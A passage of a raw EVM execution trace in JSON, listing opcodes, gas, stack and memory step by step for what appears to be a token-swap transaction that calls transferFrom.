9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","0000000097db958e000000000000000000000000000000000000000000000000"]},{"pc":12519,"op":"DUP2","gas":77360,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","0000000097db958e000000000000000000000000000000000000000000000000"]},{"pc":12520,"op":"ADD","gas":77357,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x4","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","0000000097db958e000000000000000000000000000000000000000000000000"]},{"pc":12521,"op":"DUP6","gas":77354,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x3a8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","0000000097db958e000000000000000000000000000000000000000000000000"]},{"pc":12522,"op":"SWAP1","gas":77351,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x3a8","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","0000000097db958e000000000000000000000000000000000000000000000000"]},{"pc":12523,"op":"MSTORE","gas":77348,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x136dbf40ac09b","0x3a8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","0000000097db958e000000000000000000000000000000000000000000000000"]},{"pc":12524,"op":"PUSH1","gas":77345,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000"]},{"pc":12526,"op":"DUP2","gas":77342,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000"]},{"pc":12527,"op":"ADD","gas":77339,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x24","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000"]},{"pc":12528,"op":"DUP5","gas":77336,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x3c8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000"]},{"pc":12529,"op":"SWAP1","gas":77333,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x3c8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000"]},{"pc":12530,"op":"MSTORE","gas":77330,"gasCost":7,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x0","0x3c8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000"]},{"pc":12531,"op":"PUSH1","gas":77323,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7